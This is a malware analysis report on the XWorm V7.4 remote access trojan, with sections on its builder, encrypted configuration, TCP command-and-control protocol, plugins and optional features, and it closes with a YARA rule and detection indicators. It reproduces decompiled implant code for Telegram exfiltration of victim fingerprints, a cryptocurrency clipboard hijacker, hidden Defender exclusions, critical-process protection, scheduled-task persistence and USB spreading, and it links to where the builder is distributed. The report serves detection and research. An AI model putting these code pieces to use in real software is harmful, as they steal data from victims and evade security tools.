Xworm V7.4 analysis

Overview

This report documents the internals of the V7.4 builder of Xworm, and its default-configuration sample: configuration storage, C2 protocol, command set, optional build-time capabilities, and the plugin (module) catalog, and concludes with a YARA detection rule and a MITRE ATT&CK technique mapping.

1. Disclaimer

Malware analysis was performed entirely by a human. The following report was written by an AI based on the notes taken during the analysis, and reviewed by the author.

2. Version History

Version announcement screenshots from the V7 Telegram channel:

7.1:

7.2:

7.3:

7.4:

7.5:

3. Builder Analysis

The builder package is distributed via the Ultimate-RAT-Collection repository. Its contents:

The main builder interface:

The V7.4 builder retains the same three-tab layout seen in prior versions:

• Connection — C2 host(s)/port configuration

  

• Settings — persistence, jitter, optional parameters (toggle switches)

  

• Build — output executable generation, obfuscation selection

  

The builder also ships extra tools, including a standalone Downloader utility for staging secondary payloads:

4. Base Sample Analysis (Default Build — No Optional Features Enabled)

4.1 Configuration Storage & Encryption

Configuration values are stored Base64-encoded and AES-encrypted inside the binary:

The decryption key is derived from MD5 of the configured mutex string, used as a 32-byte AES key in ECB mode with no IV:

RijndaelManaged rijndaelManaged = new RijndaelManaged();
MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider();
byte[] array = new byte[32];
byte[] array2 = md5CryptoServiceProvider.ComputeHash(Helper.SB(Settings.Mutex));
Array.Copy(array2, 0, array, 0, 16);
Array.Copy(array2, 0, array, 15, 16);
rijndaelManaged.Key = array;
rijndaelManaged.Mode = CipherMode.ECB;
ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor();
byte[] array3 = Convert.FromBase64String(input);
return Helper.BS(cryptoTransform.TransformFinalBlock(array3, 0, array3.Length));

Note the key-expansion quirk: the 16-byte MD5 hash is copied into a 32-byte buffer twice, with the second copy starting at offset 15 (one byte short of a clean repeat) rather than offset 16 — an overlap that is consistent across the family and useful as a config-extraction fingerprint.

This same key-derivation/encryption scheme is reused for all network traffic (Section 4.6), not just the stored configuration.

4.2 Configuration Extraction (PowerShell)

The following script loads the implant assembly via reflection, pulls the Settings fields, and decrypts them using the routine above:

param(
    [Parameter(Mandatory = $true, Position = 0)]
    [string]$ExecutablePath
)

Add-Type -AssemblyName System.Reflection
$assembly = [Reflection.Assembly]::LoadFile((Resolve-Path $ExecutablePath))

function Decrypt-AES {
    param (
        [string]$encryptedText
    )

    $rijndaelManaged = New-Object System.Security.Cryptography.RijndaelManaged
    $md5CryptoServiceProvider = New-Object System.Security.Cryptography.MD5CryptoServiceProvider
    $array = New-Object byte[] 32
    $sourceArray = $md5CryptoServiceProvider.ComputeHash(
        [System.Text.Encoding]::UTF8.GetBytes($mutex)
    )

    [Array]::Copy($sourceArray, 0, $array, 0, 16)
    [Array]::Copy($sourceArray, 0, $array, 15, 16)

    $rijndaelManaged.Key = $array
    $rijndaelManaged.Mode = [System.Security.Cryptography.CipherMode]::ECB

    $cryptoTransform = $rijndaelManaged.CreateDecryptor()
    $encryptedBytes = [System.Convert]::FromBase64String($encryptedText)
    $decryptedBytes = $cryptoTransform.TransformFinalBlock(
        $encryptedBytes, 0, $encryptedBytes.Length
    )

    return [System.Text.Encoding]::UTF8.GetString($decryptedBytes)
}

$ExtracetedHost = $assembly.GetType('Settings').GetField('Hosts').GetValue($null)
$port           = $assembly.GetType('Settings').GetField('Port').GetValue($null)
$key            = $assembly.GetType('Settings').GetField('KEY').GetValue($null)
$spl            = $assembly.GetType('Settings').GetField('SPL').GetValue($null)
$sleep          = $assembly.GetType('Settings').GetField('Sleep').GetValue($null)
$groub          = $assembly.GetType('Settings').GetField('Groub').GetValue($null)
$usbnm          = $assembly.GetType('Settings').GetField('USBNM').GetValue($null)
$mutex          = $assembly.GetType('Settings').GetField('Mutex').GetValue($null)

$decryptedHosts = Decrypt-AES $ExtracetedHost
$decryptedPort  = Decrypt-AES $port
$decryptedKey   = Decrypt-AES $key
$decryptedSPL   = Decrypt-AES $spl
$decryptedGroub = Decrypt-AES $groub
$decryptedUSBNM = Decrypt-AES $usbnm

Write-Host "Hosts:  $decryptedHosts"
Write-Host "Port:   $decryptedPort"
Write-Host "KEY:    $decryptedKey"
Write-Host "SPL:    $decryptedSPL"
Write-Host "Groub:  $decryptedGroub"
Write-Host "USBNM:  $decryptedUSBNM"

4.3 Execution Flow — Main Threads

On startup, the implant spawns two persistent background threads.

Thread 1 — Idle-time accounting:

for (;;)
{
    Thread.Sleep(1000);
    int lastInputTime = Helper.GetLastInputTime();
    if (Helper.LastLastIdletime > lastInputTime)
    {
        Helper.sumofidletime = Helper.sumofidletime.Add(TimeSpan.FromSeconds((double)Helper.LastLastIdletime));
    }
    else
    {
        Helper.Time = Conversions.ToString(Helper.GetLastInputTime());
    }
    Helper.LastLastIdletime = lastInputTime;
}
object obj;
return obj;

Thread 2 — Connection watchdog:

for (;;)
{
    Thread.Sleep(new Random().Next(3000, 10000));
    if (!ClientSocket.isConnected)
    {
        ClientSocket.isDisconnected();
        ClientSocket.BeginConnect();
    }
    ClientSocket.allDone.WaitOne();
}

4.4 Command-and-Control Connection

C2 communication uses a raw TCP stream socket (AF_INET/SOCK_STREAM) rather than a standard application-layer protocol:

public static object ConnectServer(string H)
{
    try
    {
        ClientSocket.S = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
        ClientSocket.BufferLength = -1L;
        ClientSocket.Buffer = new byte[1];
        ClientSocket.MS = new MemoryStream();
        ClientSocket.S.ReceiveBufferSize = 51200;
        ClientSocket.S.SendBufferSize = 51200;
        ClientSocket.S.Connect(H, Conversions.ToInteger(Settings.Port));
        Settings.Host = H;
        ClientSocket.isConnected = true;
        ClientSocket.SendSync = RuntimeHelpers.GetObjectValue(new object());
        ClientSocket.Send(Conversions.ToString(ClientSocket.Info()));
        ClientSocket.ActivatePong = false;
        ClientSocket.S.BeginReceive(ClientSocket.Buffer, 0, ClientSocket.Buffer.Length, SocketFlags.None, new AsyncCallback(ClientSocket.BeginReceive), null);
        TimerCallback timerCallback = delegate(object a0)
        {
            ClientSocket.Ping();
        };
        ClientSocket.Tick = new Timer(timerCallback, null, new Random().Next(10000, 15000), new Random().Next(10000, 15000));
        ClientSocket.Speed = new Timer(new TimerCallback(ClientSocket.Pong), null, 1, 1);
    }
    catch (Exception ex)
    {
        ClientSocket.isConnected = false;
    }
    finally
    {
        ClientSocket.allDone.Set();
    }
    object obj;
    return obj;
}

A dedicated beaconing thread periodically transmits a "PING!" message with artificial jitter between 10000–15000 ms.

4.5 Device Fingerprinting

The first data sent upon connection is a device fingerprint (INFO record):

public static object Info()
{
    ComputerInfo computerInfo = new ComputerInfo();
    return string.Concat(new object[]
    {
        "INFO",
        Settings.SPL,
        Helper.ID(),
        Settings.SPL,
        Environment.UserName,
        Settings.SPL,
        computerInfo.OSFullName.Replace("Microsoft", null),
        Environment.OSVersion.ServicePack.Replace("Service Pack", "SP") + " ",
        Environment.Is64BitOperatingSystem.ToString().Replace("False", "32bit").Replace("True", "64bit"),
        Settings.SPL,
        Settings.Groub,
        Settings.SPL,
        ClientSocket.INDATE(),
        Settings.SPL,
        ClientSocket.Spread(),
        Settings.SPL,
        ClientSocket.UAC(),
        Settings.SPL,
        Messages.Cam(),
        Settings.SPL,
        ClientSocket.CPU(),
        Settings.SPL,
        ClientSocket.GPU(),
        Settings.SPL,
        ClientSocket.RAM(),
        Settings.SPL,
        ClientSocket.Antivirus()
    });
}

Key data points collected:

• User name, OS full name, service pack, OS bitness (environment variables / ComputerInfo)
• Compile/build date, retrieved via fileInfo.LastWriteTime.ToString("dd/MM/yyyy") on the running executable
• Build-time parameters: XWorm group tag, USB-spreading configuration
• Administrator-privilege check
• Camera presence, via direct invocation of GetDriverDescriptionA in avicap32.dll
• CPU identifier, via WMI Win32_Processor.DeviceID=CPU0
• GPU, via WMI query SELECT * FROM Win32_VideoController
• Total RAM
• Installed antivirus product, via ManagementObjectSearcher("\\\\" + Environment.MachineName + "\\root\\SecurityCenter2", "Select * from AntivirusProduct")

4.6 Data Transmission Protocol

All outbound messages are AES-ECB encrypted (same key derivation as Section 4.1 — MD5 of the mutex, no IV), length-prefixed, and sent asynchronously:

object sendSync = ClientSocket.SendSync;
ObjectFlowControl.CheckForSyncLockOnValueType(sendSync);
lock (sendSync)
{
    if (ClientSocket.isConnected)
    {
        try
        {
            using (MemoryStream memoryStream = new MemoryStream())
            {
                byte[] array = Helper.AES_Encryptor(Helper.SB(msg));
                byte[] array2 = Helper.SB(Conversions.ToString(array.Length) + "\0");
                memoryStream.Write(array2, 0, array2.Length);
                memoryStream.Write(array, 0, array.Length);
                ClientSocket.S.Poll(-1, SelectMode.SelectWrite);
                ClientSocket.S.BeginSend(memoryStream.ToArray(), 0, checked((int)memoryStream.Length), SocketFlags.None, new AsyncCallback(ClientSocket.EndSend), null);
            }
        }
        catch (Exception ex)
        {
            ClientSocket.isConnected = false;
        }
    }
}

Inbound traffic is handled by an asynchronous socket-receive callback that reassembles framed, encrypted messages and dispatches them to the command handler.

Selected operator-side C2 panel capabilities observed in the builder:

4.7 Command Set

Additional builder-exposed live C2 controls (process manager, file manager, remote shell, remote desktop, etc.) were also observed in the builder UI and correspond to the plugin catalog in Section 5.2.

4.8 User-Agent Strings (DDoS Module)

public static string[] userAgents = new string[] { "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" };

5. Plugin Architecture

Plugins are separate DLLs pushed via the savePlugin command and loaded into the implant at runtime.

5.1 Plugin Method Categories

Based on the exported/invoked method names observed across plugin DLLs, the following functional categories are inferred:

5.2 Plugin Catalog (Known Modules)

Note: several entries share identical hashes (DivineMesh.dll/StellarLift.dll; RuneMark.dll/SaberPoint.dll; FalconScope.dll/XenonTrack.dll) — these are renamed/repackaged copies of the same binary, likely renamed per-customer or per-campaign.

6. Optional Build Capabilities

6.1 AntiKill — Critical Process Protection

If enabled, a ProcessCritical class is added to the build. When the implant runs with administrator privileges, it marks itself as a critical system process via a direct call to RtlSetProcessIsCritical in ntdll.dll, preventing the process from being terminated (a crash of the process would BSOD the host):

[DllImport("NTdll.dll", EntryPoint = "RtlSetProcessIsCritical", SetLastError = true)]
public static extern void SetCurrentProcessIsCritical([MarshalAs(UnmanagedType.Bool)] bool isCritical, [MarshalAs(UnmanagedType.Bool)] ref bool refWasCritical, [MarshalAs(UnmanagedType.Bool)] bool needSystemCriticalBreaks);

6.2 TBotNotify — Telegram Exfiltration Channel

Sends an infection notification to an attacker-controlled Telegram bot, immediately after configuration is loaded:

webClient.DownloadString(string.Concat(new string[]
{
    "https://api.telegram.org/bot",
    Settings.Token,
    "/sendMessage?chat_id=",
    Settings.ChatID,
    "&text=",
    text
}));

The text parameter contains the full device fingerprint: Client ID, username, OS info, CPU/GPU/RAM configuration, and XWorm group tag.

6.3 Clipper — Cryptocurrency Address Hijacking

A dedicated thread monitors the clipboard for content matching cryptocurrency-address regexes and silently swaps in an attacker-controlled address:

new Thread(delegate
{
    Clipper.Run();
}).Start();

if (this.RegexResult(Clipper.BTCRegex) && !ClipboardNotification.NotificationForm.currentClipboard.Contains(Settings.BTC))
{
    object obj = Clipper.BTCRegex.Replace(ClipboardNotification.NotificationForm.currentClipboard, Settings.BTC);
    ClipboardFunc.SetText(Conversions.ToString(obj));
    Messages.SendMSG(Conversions.ToString(Operators.ConcatenateObject("BTC Clipper " + ClipboardNotification.NotificationForm.currentClipboard + " : ", obj)));
}

6.4 WDEX — Windows Defender Exclusion

If the implant is running with administrator privileges, it silently adds itself (path and process) to the Windows Defender exclusion list via PowerShell:

if (Conversions.ToBoolean(ClientSocket.UAC()))
{
    try
    {
        ProcessStartInfo processStartInfo = new ProcessStartInfo();
        processStartInfo.FileName = "powershell.exe";
        processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
        processStartInfo.Arguments = "-ExecutionPolicy Bypass Add-MpPreference -ExclusionPath '" + Helper.current + "'";
        Process.Start(processStartInfo).WaitForExit();
        processStartInfo.Arguments = "-ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '" + Process.GetCurrentProcess().MainModule.ModuleName + "'";
        Process.Start(processStartInfo).WaitForExit();
    }
    catch (Exception ex)
    {
    }
}

The UAC() check ensures the exclusion calls are only attempted when the process holds the elevation required for them to succeed.

6.5 Keylogger

When enabled, a keylogger runs in a dedicated thread, hooking keystrokes and logging them to a hardcoded temporary file. The path cannot be changed:

public static string LoggerPath = Interaction.Environ("temp") + "\\Log.tmp";

Captured data is retrieved by the operator via the OfflineGet command (Section 4.7).

6.6 AntiAnalysis — Sandbox / Debugger Evasion

If enabled, the implant refuses to run inside analysis environments. The following checks are performed:

• AnyRun: queries http://ip-api.com/line/?fields=hosting and evaluates whether the response is True (hosting/datacenter IP indicative of a sandbox).
• IsXP: fails if the OS full name contains xp (Windows XP environment).
• DetectManufacturer: runs WMI query SELECT * FROM Win32_ComputerSystem; fails if the result contains VIRTUAL, vmware, or VirtualBox.
• DetectDebugger: direct call to CheckRemoteDebuggerPresent in kernel32.dll.
• DetectSandboxie: fails if the process has a handle to SbieDll.dll.

6.7 Persistence

Three persistence mechanisms can be configured:

• Startup folder — a .lnk shortcut pointing to the configured install folder/name is dropped into the user’s Startup folder.
• Scheduled Task — created via:

  schtasks.exe /create /f /RL HIGHEST /sc minute /mo 1 /tn "(executable name)" /tr "(executable path)"
  

  /RL HIGHEST is only applied when the implant runs with administrative privileges.
• Registry Run key — a value is written to SOFTWARE\Microsoft\Windows\CurrentVersion\Run pointing to the configured install folder/name.

6.8 USB Spreading

When enabled, a dedicated thread replicates the implant to removable drives:

• Sets ShowSuperHidden in HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced to 0.
• Copies the executable to the root of the USB drive.
• Creates a shortcut that runs:

  cmd.exe /c start (executable name) &start (executable folder path)& exit
  

• Sets the LNK file’s icon to the machine’s default icon to disguise the lure.

6.9 Obfuscation

V7 introduces a second obfuscation option alongside the legacy one. Approximate output sizes: base executable ~35 KB, legacy obfuscator ~49 KB, new obfuscator ~85 KB.

Legacy obfuscator (name obfuscation): replaces all class and method names with random 68-character strings. The control flow is unchanged. Example of the main routine that spawns the two threads:

Thread thread = new Thread(new ThreadStart(namOUTabdHQy1ozQ4suJEJbJZCfH4LWx5mgE97YFcE1wNN5GnHP0WiKfINC1plFBEyfo.WNluHjUUds5foWLFzH4a8zC1iBF7rYXcFvN7eGR6MUDsbN87ma29VnbXMRDC8onvXNoG));
Thread thread2 = new Thread(new ThreadStart(namOUTabdHQy1ozQ4suJEJbJZCfH4LWx5mgE97YFcE1wNN5GnHP0WiKfINC1plFBEyfo.vUS5zOXnsaEUCQ26VZaFveizTtWS9UMkszWkOtMxSeOkRQ1VUqYt06tocN0kjKzP7VQZ));
thread.Start();
thread2.Start();
thread2.Join();

This is trivially defeated by an analyst.

New obfuscator (control-flow + non-ASCII naming): intended to stack on top of the legacy one (it does not rename classes/methods). It introduces two key changes:

1. Most logic is wrapped in an infinite for loop driven by a state-machine switch, applied to every function, which complicates debugging. Example of the same main routine:

_Thread thread;
_Thread thread2;
for (;;)
{
    switch (num2)
    {
    default:
        num2 = (Ⴗ.Ⴓ() ? 5 : 1);
        continue;
    case 1:
    case 3:
        Environment.Exit(0);
        goto IL_0164;
    case 2:
        break;
    case 4:
    case 5:
        goto IL_0164;
    case 6:
        goto IL_0192;
    }
    IL_018D:
    num2 = 6;
    continue;
    IL_0164:
    Ⴗ.Ⴗ();
    thread = new Thread(new ThreadStart(Main._Lambda$__1));
    thread2 = new Thread(new ThreadStart(Main._Lambda$__2));
    goto IL_018D;
}

2. A new class with function/field names composed entirely of special non-ASCII (Georgian script) characters is created. Most key routines are relocated into this class, and intertwined cross-calls make both static and dynamic analysis significantly harder. Example of the obfuscated encryption function:

public static byte[] ႥႥ(byte[] A_0)
{
    Rijndael rijndael = new RijndaelManaged();
    MD5 md = new MD5CryptoServiceProvider();
    object obj;
    try
    {
        int num = 2;
        IDisposable disposable;
        for (;;)
        {
            switch (num)
            {
            case 0:
                Uninstaller.ႭႭ<SymmetricAlgorithm>((RijndaelManaged)rijndael, CipherMode.ECB, 529, 'Ȗ');
                disposable = Uninstaller.ႭႷ<SymmetricAlgorithm>(rijndael as RijndaelManaged, 188, 251);
                num = 4;
                break;
            case 1:
            case 5:
                goto IL_00EA;
            default:
                MyComputer.ႥႷ<SymmetricAlgorithm>(rijndael as RijndaelManaged, MyComputer.ႥႭ<HashAlgorithm>(md as MD5CryptoServiceProvider, global::Ⴃ.Ⴗ.Ⴃ(Settings.KEY), 327, 341), 'ʑ', 672);
                num = 0;
                break;
            case 3:
            case 4:
                goto IL_00CC;
            case 7:
                goto IL_00EC;
            }
        }
        IL_00CC:
        obj = ((ICryptoTransform)disposable).TransformFinalBlock(A_0 as byte[], 0, ((byte[])A_0).Length);
        IL_00EA:
        IL_00EC:;
    }
    catch (Exception ex)
    {
    }
    switch (2)
    {
    default:
        return obj as byte[];
    }
}

7. Detection

7.1 YARA Rule

The following rule was built from features common to multiple basic and obfuscated V7.4 samples compiled during analysis:

import "vt"
rule Xworm_v7_4
{
    meta:
        description = "Yara rule based on the point in common between different basic & obfuscated samples"
        author = "DreadFog"
        target_entity = "file"
    strings:
        $0 = "MyApplication.app"
        $1 = "4System.Web.Services.Protocols.SoapHttpClientProtocol"
        $2 = {00340008000100500072006F006400750063007400560065007200730069006F006E00000031002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000031002E0030002E0030002E00}
        $3 = "ns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\">\x0D\n  <assemblyIdentity version=\"1.0.0.0\" name=\"MyApplication.app\"/>\x0D\n  <trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v2\">\x0D\n    <security>\x0D\n      <requestedPrivileges xmlns=\"urn:schemas-microsoft-com:asm.v3\">\x0D\n        <requestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\"/>\x0D\n      </requestedPrivileges>\x0D\n    </security>\x0D\n  </trustInfo>\x0D\n</assembly>\x0D\n"
        $4 = {0000EFBBBF3C3F786D6C2076657273696F6E3D22312E302220656E636F64696E673D225554462D3822207374616E64616C6F6E653D22796573223F3E0D0A3C617373}
        $5 = {726976696C656765733E0D0A202020203C2F73656375726974793E0D0A20203C2F7472757374496E666F3E0D0A3C2F617373656D626C793E0D0A0000000000000000000000000000}
        $6 = {080100010000000000052002010E0E1801000A4D7954656D706C6174650831342E302E302E300000}
        $7 = {0801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F77730129010024}
        $8 = {0234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000001000000000000000100000000003F}
        $9 = "Microsoft.VisualBasic.CompilerServices"
    condition:
        vt.metadata.new_file and
        all of them
}

7.2 Host & Network Indicators

• Mutex-derived AES-ECB key (MD5 of mutex, 16→32-byte overlap copy at offset 15).
• Raw TCP C2 with length-prefixed, AES-ECB-encrypted frames; periodic PING!/pong beacons with 10–15 s jitter.
• %temp%\Log.tmp keylog file.
• uninstall self-delete .bat in %temp%.
• Telegram C2 channel: https://api.telegram.org/bot<token>/sendMessage (TBotNotify build).
• Defender exclusion via Add-MpPreference -ExclusionPath/-ExclusionProcess (WDEX build).
• Scheduled task schtasks.exe /create /f /RL HIGHEST /sc minute /mo 1 ....
• Registry Run-key value under SOFTWARE\Microsoft\Windows\CurrentVersion\Run.
• DDoS HTTP POST floods with fixed Content-Length: 5235 and the three hardcoded User-Agents (Section 4.8).

8. MITRE ATT&CK Mapping

References:

• https://iqblack.com/insight/xworm-v75-new-crimeware-announcement-reinforces-web/
• https://www.youtube.com/watch?v=Sy2yWNN9VX0
• Telegram channel (V7 changelog): https://t.me/s/XWormV7
• Builder source: https://github.com/Cryakl/Ultimate-RAT-Collection/tree/main/XWorm/XWorm%20V7.4